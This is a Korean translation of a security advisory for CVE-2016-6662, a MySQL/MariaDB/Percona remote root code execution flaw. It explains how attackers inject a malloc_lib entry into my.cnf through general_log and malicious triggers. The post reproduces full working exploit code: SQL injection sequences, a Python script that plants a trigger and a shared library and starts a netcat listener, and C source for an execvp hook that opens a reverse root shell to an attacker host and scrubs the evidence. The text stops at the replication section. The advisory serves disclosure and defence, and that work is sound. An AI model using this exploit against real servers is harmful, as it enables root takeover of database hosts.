개요

대중적으로 가장 많이 쓰고있는 MySQL이 원격에서 루트 권한으로 코드를 실행할 수 있는 취약점이 발견되었다. 종합해보면, 데이터베이스를 이용해 설정 파일을 악성코드를 실행하도록 수정할 수 있고, 악성코드 또한 데이터베이스를 통해 데이터베이스 서버의 로컬에 저장할 수 있다. 이 취약점에 대해 살펴보자.

포스팅:

번역

=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com

- CVE-2016-6662
- Release date: 12.09.2016
- Last updated: 16.09.2016
- Revision: 2
- Severity: Critical
=============================================

I. VULNERABILITY

MySQL  <= 5.7.14                    원격 루트 코드 실행(Remote Root Code Execution) / 권한 상승(Privilege Escalation) (0day)
                5.6.32
                5.5.51

MySQL과 유사군인 다음 DB들도 영향을 받는다.

  • MariaDB
  • PerconaDB 

II. BACKGROUND

"MySQL은 세계에서 가장 인기 있는 오픈소스 데이터베이스다. 빠르게 성장하는 웹 특성에 따라 효과적인 비용으로 높은 성능을 제공하고 다양한 형태로 확장 가능하도록 도와주는 데이터베이스 응용프로그램이다."

"세계에서 규모가 크고 빠르게 성장하는 기업 페이스북, 구글, 어도비, Alcatel Lucent and Zappos 등 대부분이 규모가 큰 웹 사이트, 주식-증권 등 금융과 관련된 시스템, 기타 패키지 소프트웨어 등이 MySQL를 사용하여 시간과 비용을 절약하고 있다."

III. INTRODUCTION

이번 문서는 CVEID가 CVE-2016-6662인 심각한 취약점으로 원격의 공격자가 MySQL의 설정 파일(my.cnf)에 악의적인 설정을 주입하여 공격자가 의도하는 행위를 하도록 유도할 수 있다.

이 취약점은 최신 버전을 포함하여 기타 다른 버전 (5.7, 5.6 그리고 5.5)이 기본 값으로 설정되어 있으면 로컬 및 원격 공격자에 의해 침해당할 수 있다. 이 취약점은 MySQL 데이터베이스에 인증된 접근(네트워크 연결 또는 phpMyAdmin과 같은 웹 인터페이스)과 SQL 인젝션을 사용할 수 있는 공격 벡터에서 모두 사용 가능하다. 

SQL 인젝션 공격은 웹 응용프로그램의 일반적인 문제 중 하나이기에 CVE-2016-6662을 SQL 인젝션 공격으로 사용할 경우 매우 위협적일 수 있다. 공격자가 이 취약점으로 공격 성공할 수 있다면 루트 권한으로 임의의 코드를 실행시킬 수 있어 취약점에 영향받는 MySQL이 실행 중인 서버를 손상시킬 수 있다.

이 취약점에 대한 공식적인 패치는 현시점(2016.09.12)을 기준으로 오라클 MySQL 서버에도 적용되지 않은 상태이다. 또한 리눅스 배포판에서 기본 정책으로 활성화하도록 설치되는 SELinux와 AppArmor와 같은 보안 모듈에서 운영하는 MySQL 서비스에도 공격이 가능하다. 이 문서는 공격자가 어떻게 원격 루트 코드 실행을 할 수 있는지를 설명하는 PoC를 포함한다.

IV. DESCRIPTION

MySQL의 기본 패키지에는 mysqld_safe 스크립트와 같은 MySQL의 다양한 wrapper를 MySQL 서비스 프로세스 시작과 함께 살펴볼 수 있다. 예를 들어, 전체 업데이트된 데비안 시스템에서 다음과 같이 볼 수 있다.

lsb_release -a

No LSB modules are available.
Distributor ID:        Debian
Description:           Debian GNU/Linux 8.5 (jessie)
Release:               8.5
Codename:              jessie
dpkg -l | grep -i mysql-server
ii  mysql-server                        5.5.50-0+deb8u1
ii  mysql-server-5.5                    5.5.50-0+deb8u1
ii  mysql-server-core-5.5               5.5.50-0+deb8u1

그 다음 MySQL(기본 값으로 설정된 데비안 저장소에서 제공하는 패키지로 설치한) 서비스를 실행한다.

service mysql start

다른 방법으로 다음과 같이 실행할 수 있다.

/etc/init.d/mysql start

MySQL 서버 프로세스 트리는 다음과 같다.

root     14967  0.0  0.1   4340 &  1588 ?        S    06:41   0:00 /bin/sh /usr/bin/mysqld_safe

mysql    15314  1.2  4.7   558160 47736 ?        Sl   06:41   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306

위에서 볼 수 있듯이 메인 mysqld 프로세스는 MySQL 사용자 권한으로 실행하는 반면, mysqld_safe wrapper 스크립트는 루트 권한으로 실행된다. 이 wrapper 스크립트는 다음과 같은 기능을 가진다.

[ /usr/bin/mysqld_safe ]

[...]

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

[...]

[ eof ]

위 코드는 MySQL 서버가 시작하기 전에 공유한 라이브러리를 사전에 불러올 수 있다. 이 라이브러리는 다음과 같이 라이브러리 위치를 매개 변수를 이용하여 설정할 수 있다.

--malloc-lib=LIB

이 매개 변수는 mysql 설정 파일(my.cnf)의 '[mysqld]'나 '[mysqld_safe]' 섹션에서 지정할 수 있다. 공격자가 설정 파일에 악의적인 라이브러리 경로를 주입한 후에 MySQL 서비스가 재시작(예를 들면, 시스템 업데이트, 패키지 업데이트, 시스템 재시작 등)하면 MySQL 서버가 시작되기 전에 악의적인 라이브러리를 불러오기에 루트 권한으로 임의의 코드를 실행할 수 있다.

2003년 3.23.55 이전 MySQL 버전에서 발생한 취약점에서는 다음과 같이 간단한 문구로 MySQL 설정 파일을 생성하도록 허용되었었다.

SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'

이 문제는 OUTFILE 쿼리에 의해 성성되는 파일들이 world-writable 권한을 가지기에 이 권한을 가지는 설정 파일을 로드하지 못하도록 해결했다. 또한 기존 구성 파일을 OUTFILE/DUMPFILE 구문을 이용하여 덮어쓰는 것을 금지하도록 수정하여 추가 보호 기능을 구현했다. 이는 기존 구성 파일을 보호하기 위해서였다. 결국 이 취약점은 2003년 MySQL 3.23.55으로 릴리즈 되어 수정되어 더 이상 구성 파일을 수정할 수 없게 되었다.

그럼에도 V. PROOF OF CONCEPT 섹션에서 설명하는 MySQL 로깅 기능(MySQL 기본 설치로 사용하는)을 악용하여 앞서 언급한 덮어쓰기 제한을 성공적으로 우회할 수 있다.

1) 취약하게 설정한 권한이나 잘못 설정한 권한으로 설정한(mysql 사용자가 설정을 작성하거나 소유한 경우) MySQL 구성 파일에 악의적인 설정을 주입할 수 있다. (시나리오 1)

2) 잘못 설정한 권한과 상관없이 기본으로 설치되는 MySQL의 데이터 디렉터리에 새 구성 파일을 만들 수 있다. (기본으로 MySQL 사용자가 작성 가능한) (시나리오 2)

3) SELECT/FILE 권한만을 가진 공격자가 기본 값으로 설치된 MySQL의 로깅 기능(일반적으로 MySQL 권리자 사용자만 사용 가능)에 접근할 수 있으면 MySQL 설정 파일을 추가하거나 수정할 수 있다.

Update (16/09/2016):

일부 보안 포럼에서 제시한 문제에 대해 올바르게 이해하지 못해 취약점의 심각성을 완화하려 하는 잘못된 오해가 있음을 알게 되어 아래와 같이 PoC의 세부 사항을 세밀하게 읽어보시길 바란다.

다음을 주목해달라:

* 시나리오 1 (이하 포인트 1)과 시나리오 2 (이하 포인트 2)과 다른 내용이다. 다시 말해서, 시스템에서 사용 가능한 안전하지 않은 권한을 가진 my.cnf 설정 파일이 없다 하여도 설정 주입 취약점은 궁극적으로 임의의 악의적인 공유 라이브러리를 공격하여 로드하도록 이끌 수 있다. 즉, 공격을 위해서 취약한 권한을 요구하지 않으며, 시스템에서 기본으로 권한이 설정되어 있는 my.cnf를 사용하는 PerconaDB/MariaDB/MySQL를 공격할 수 있는 취약점이다. 시나리오 1은 기본으로 설치한(시나리오 2) 데이터베이스에 당면한 공격을 드러내지 않고 로깅을 악용하거나 설정을 주입하는 취약점을 설명할 수 있도록 아주 단순하게 악용하는 코드를 만들어 제시했다.

* 시나리오 2를 성공적으로 공격할 수 있는 것을 개인적으로 PoC를 작성하여 공개적으로 공유하지 않았다. (기본 설치/어떠한 my.cnf 설정 파일의 잘못 구성한 권한 없이) 아래 섹션뿐만 아니라 현재 PoC 공격에서 언급한 것 모두 제한된 PoC다. 기본으로 설치한 데이터베이스에 당면한 공격을 보호하고 사용자가 취약점에 대응하는 시간을 제공하기 위해 의도적으로 제한한 것이다.

* 루트 권한 상승 및 코드 실행으로 이끄는 시나리오 2 (취약한 권한을 사용하지 않는 my.cnf)의 성공적인 공격은 (별도의 취약점인) CVE-2016-6663 취약점에 의해 달성할 수 있다.(그러나 요구사항은 아니다) PoC는 이 권고안을 작성한 작성자에 의해 만들어졌지만 발표하지는 않았다.

* 로깅 기능은 SELECT/FILE 권한을 사용하는 일반 사용자가 접근할 수 있다. 다시 말해서, 관리자 권한을 가지지 못하고 로깅 기능에 공격자가 접근할 수 있다면 악성 페이로드를 포함한 악성 트리거를 생성하기 위한 최고 권한을 요구하지 않는다. 이는 아래 섹션(포인트 3에서 볼 수 있는)에 설명되어 있고, 이 권고의 PoC에 입증했으며, 또한 공격자 데이터베이스 계정 권한을 보여주는 것은 replication 단계(VI. 섹션)에서 살펴볼 수 있다. (공격자 DB 계정은 최고 권한이 할당되어 있지 않다.)

V. PROOF OF CONCEPT

1) 취약하게 설정한 권한이나 잘못 설정한 권한으로 설정한(mysql 사용자가 설정을 작성하거나 소유한 경우) MySQL 구성 파일에 악의적인 설정을 주입할 수 있다. (시나리오 1)

MySQL 설정 파일들은 mysqld_safe 스크립트가 실행될 때 지원하는 모든 위치에서 하나씩 호출하여 처리한다.

정확한 설정 위치는 MySQL 버전에 따라 다르다. 예를 들어 다음 링크(http://dev.mysql.com/doc/refman/5.5/en/option-files.html)에서 설명하는 것처럼 MySQL 5.5의 설정 위치는 다음과 같다.

/etc/my.cnf                Global options
/etc/mysql/my.cnf          Global options
SYSCONFDIR/my.cnf          Global options
$MYSQL_HOME/my.cnf         Server-specific options
defaults-extra-file        The file specified with --defaults-extra-file=file_name, if any 
~/.my.cnf                  User-specific options

서버에서 MySQL을 실행하기 위한 설정 파일은 MySQL 사용자가 소유해야한다는 일반적인 오해가 있다. 많은 설정 가이드나 보안 가이드에서 /etc/mysql 또는 /etc/my.cnf과 같은 MySQL 설정과 관련있는 디렉터리나 파일의 소유자가 MySQL 사용자가 되도록 잘못 권장한다.

예를 들어 여기(https://github.com/willfong/mariadb-backup/blob/master/README.md)에서는 다음과 같이 이야기한다.

"설정 파일에 소유와 권한을 다음과 같이 설정"

chown mysql /etc/my.cnf
chmod 600 /etc/my.cnf

이 문서(http://www.devshed.com/c/a/mysql/security-issues-with-mysql/)에서는 이와 같이 언급한다.

"/etc/my.cnf과 같이 전역 옵션 파일이 존재하는 경우 보호해야한다. MySQL 사용자는 이 파일을 읽고 쓰는 권한을 가져야하지만 다른 사용자는 오직 읽기 권한만 필요하기에 다음과 같이 설정한다."

shell> chown mysql /etc/my.cnf

그 외에 자동으로 설치되는 MySQL은 my.cnf 설정 파일에 취약한 권한을 제공한다. MySQL 설정 파일 중에 하나라도 MySQL 사용자가 소유하고 있는 경우 다음과 같이 공격자는 악의적인 설정을 주입할 수 있다.

ls -l /etc/my.cnf
-rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf
cat /etc/my.cnf

[mysqld]

key_buffer              = 16M
max_allowed_packet      = 16M

공격자는 다음과 같이 SQL 쿼리를 실행할 수 있다.

mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

결과적으로 설정 파일에는 쿼리로 입력한 부분이 추가된다.

cat /etc/my.cnf 

[mysqld]

key_buffer              = 16M
max_allowed_packet      = 16M

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:25:14	   40 Query	select '

; injected config entry

[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

[separator]

'
160728 17:25:15	   40 Query	set global general_log = off

이 설정 약간의 불필요한 정보를 포함하기에 파싱 문제가 발생해 재시작할 경우 MySQL이 동작하지 않는 일반적인 원인이 될 수 있다. 하지만 중요한 것은 설정 파일에 다음과 같은 섹션을 포함한다는 것이다.


[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

mysqld_safe는 mysqld 데몬의 시작 전에 LD_PRELOAD 환경 변수에 shared 라이브러리 경로를 읽어 추가할 수 있다. 사전에 로드된 라이브러리는 libc fopen() 호출을 후킹 하여 mysqld 데몬이 시작할 때 처리하는 설정을 정리한다.

2) 잘못 설정한 권한과 상관없이 기본으로 설치되는 MySQL의 데이터 디렉터리에 새 구성 파일을 만들 수 있다. (기본으로 MySQL 사용자가 작성 가능한) (시나리오 2)

mysqld_safe 설정 스크립트를 분석해보면 앞에서 봤던 설정 파일 경로 이외에도 MySQL의 데이터 디렉터리 (/var/lib/mysql/my.cnf)에서 설정 파일을 불러오는 것을 확인할 수 있다.

[ /usr/bin/mysqld_safe ]

[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
[...]

[ eof ]

MySQL 버전 5.5와 5.6에서 사용하며, 5.7 부터는 my.cnf 경로를 위한 datadir 위치가 삭제되었지만 여전히 많은 구성이 다음 위치에서 설정을 로드한다.

/var/lib/mysql/.my.cnf

데이타 디릭터리 /var/lib/mysql은 (명백하게) mysql 사용자에 의해 작성될 수 있다.

ls -ld /var/lib/mysql/
drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/

따라서 만약 mysql 사용자가 설정을 소유하지 않고 시스템에서 사용하더라도, 공격자는 취약점으로 다음과 같은 경로에 설정을 생성하고 공격할 수 있다.

/var/lib/mysql/my.cnf
/var/lib/mysql/.my.cnf

앞서 언급한 것처럼 FILE 권한을 사용할 수 있으면 SQL 구문으로 파일을 생성할 수 있다.

SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf'

하지만 생성한 파일은 동작하지 않을 것이다. 그 이유는 MySQL이 world를 위해 rw 권한으로 파일을 생성하기 때문이다.

-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf

그리고 MySQL은 시작할 때 world-writable 권한을 가진 설정을 로드하는 것을 차단한다. 공격자는 이것을 우회하기 위해 로깅 SQL 구문을 이용할 수 있다.

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

이 쿼리는 MySQL 데몬이 파싱할 때 적절한 권한(o-w 비트 없이)을 가진 my.cnf를 생성한다.

ls -l /var/lib/mysql/my.cnf
-rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf

설정 파일은 다음 내용을 가진다.

cat /var/lib/mysql/my.cnf

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:48:22       43 Query    select '

; injected config entry

[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so

[separator]

'
160728 17:48:23       43 Query    set global general_log = off

그러나 여전히 문제가 있다. MySQL은 올바른 섹션 헤더를 가지지 않을 경우 설정 파일을 거부한다.

error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1
Fatal error in defaults handling. Program aborted

하지만 테스트를 통해 확인해보니 보안으로 막아놓은 부분을 우회할 수 있는 것을 확인했지만 당분간 공개하지 않을 예정이다. 주의할 필요가 있기 때문인데 공개 보류 중인 CVE-2016-6663는 공격자가 악용할 수 있기 때문이다. 이 취약점을 사용하는 공격자는 FILE 권한을 요구하지 않고 악의적인 내용을 담은 /var/lib/mysql/my.cnf 파일을 생성하거나 수정할 수 있다.

3) SELECT나 FILE 권한만을 가진 공격자가 기본 설정으로 설치된 MySQL의 로깅 기능(일반적으로 MySQL 권리자 사용자만 사용 가능)에 접근할 수 있으면 MySQL 설정 파일을 추가하거나 수정할 수 있다.

만약 공격자가 로깅 설정에 접근하기 위한 관리자 권한을 가지지 못하고 FILE 권한을 추가할 수 있는 일반 사용자 권한만을 가졌다 해도 설정 파일을 작성하거나 수정할 수 있다. 이는 악의적인 트리거 페이로드를 작성하여 기록할 수 있다.

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

" INTO void;   
   set global general_log = off;
END;

활성화되어 사용 중인 테이블('active_table')의 트리거 파일에는 다음과 유사하게 구문을 사용한다.

SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'

이 같은 트리거는 테이블이 정리될 때 로드될 것이다. 이 지점에서 INSERT 구문을 사용할때 마다 테이블에 호출된다.

INSERT INTO `active_table` VALUES('xyz');

이 트리거의 코드는 mysql 루트 사용자 권한('definer'를 참조)으로 실행될 것이고 , 따라서 공격자는 관리자 권한이 아닌 일반 계정임에도 불구하고 general_log를 설정하도록 수정할 수 있다.

VI. PROOF OF CONCEPT - 0day 0ldSQL_MySQL_RCE_exploit.py exploit

[ 0ldSQL_MySQL_RCE_exploit.py ]

#!/usr/bin/python

# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of 
# the advisory for details on this vector. 
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
# 
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)

intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com

"""

import argparse
import mysql.connector    
import binascii
import subprocess


def info(str):
    print "[+] " + str + "\n"

def errmsg(str):
    print "[!] " + str + "\n"

def shutdown(code):
    if (code==0):
        info("Exiting (code: %d)\n" % code)
    else:
        errmsg("Exiting (code: %d)\n" % code)
    exit(code)


cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 


# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'


# Main Meat

print intro

# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
                  
args = parser.parse_args()


# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
    dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
    errmsg("Failed to connect to the target: {}".format(err))
    shutdown(1)

try:
    cursor = dbconn.cursor()
    cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)

privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
    print priv[0]
print ""


# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 
if rc != 0:
    errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
    print error 
    shutdown(2)

# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)

# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `poctable` FOR EACH ROW
BEGIN

   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void;   
   set global general_log = off;

END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)

# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(4)

# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(5)

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`. 
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
finally:
    dbconn.close()  # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")

# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""

# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")

# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")


# Shutdown
shutdown(0)

[ mysql_hookandroot_lib.c ]

/*

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c

This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse ;) and provides a root shell on the
target. 

mysqld_safe will load this library through the following setting:

[mysqld]
malloc_lib=mysql_hookandroot_lib.so

in one of the my.cnf config files (e.g. /etc/my.cnf).

This shared library will hook the execvp() function which is called
during the startup of mysqld process. 
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.

Before compiling adjust IP / PORT and config path.


~~
Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


~~
Compilation (remember to choose settings compatible with the remote OS/arch):

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

Disclaimer:

For testing purposes only. Do no harm.

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt

*/

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"

char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;


// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {

    int i; int sockfd;
    //socklen_t socklen;
    struct sockaddr_in srv_addr;
    srv_addr.sin_family = AF_INET; 
    srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
    srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip 

    // create new TCP socket && connect
    sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
    connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
	
    for(i = 0; i <= 2; i++) dup2(sockfd, i);
    execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );

    exit(0);
}


/*
 cleanup injected data from the target config before it is read by mysqld
 in order to ensure clean startup of the service

 The injection (if done via logging) will start with a line like this:

 /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:

*/

int config_cleanup() {

    FILE *conf;
    char buffer[2000];
    long cut_offset=0;

    conf = fopen(INJECTED_CONF, "r+");
    if (!conf) return 1;

    while (!feof(conf)) {
       fgets(buffer, sizeof(buffer), conf);
       if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
	  cut_offset = (ftell(conf) - strlen(buffer));
       }

    }
    if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
    fclose(conf);
    return 0;

}


// execvp() hook
int execvp(const char* filename, char* const argv[]) {

    pid_t  pid;
    int fd;

    // Simple root PoC (touch /root/root_via_mysql)
    fd = open("/root/root_via_mysql", O_CREAT);
    close(fd);

    old_execvp = dlsym(RTLD_NEXT, "execvp");

    // Fork a reverse shell and execute the original execvp() function
    pid = fork();
    if (pid == 0) 
          reverse_shell();

    // clean injected payload before mysqld is started
    config_cleanup();
    return old_execvp(filename, argv);
}

Replication / testing:

대상 시스템에서 관리자로 다음과 같이 구성한다.

